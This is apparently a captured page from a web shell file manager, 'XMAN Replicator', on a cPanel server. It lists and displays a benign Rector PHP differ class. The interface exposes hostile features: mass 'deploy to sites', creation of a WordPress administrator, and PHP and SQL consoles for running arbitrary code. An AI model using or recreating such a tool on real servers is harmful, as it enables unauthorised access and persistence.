🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Differ
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
DefaultDiffer.php
747 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
View: DefaultDiffer.php
<?php declare (strict_types=1); namespace Rector\Differ; use RectorPrefix202411\SebastianBergmann\Diff\Differ; use RectorPrefix202411\SebastianBergmann\Diff\Output\StrictUnifiedDiffOutputBuilder; final class DefaultDiffer { /** * @readonly * @var \SebastianBergmann\Diff\Differ */ private $differ; public function __construct() { $strictUnifiedDiffOutputBuilder = new StrictUnifiedDiffOutputBuilder(['fromFile' => 'Original', 'toFile' => 'New']); $this->differ = new Differ($strictUnifiedDiffOutputBuilder); } public function diff(string $old, string $new) : string { if ($old === $new) { return ''; } return $this->differ->diff($old, $new); } }
PHP Console
Execute
SQL Console
Execute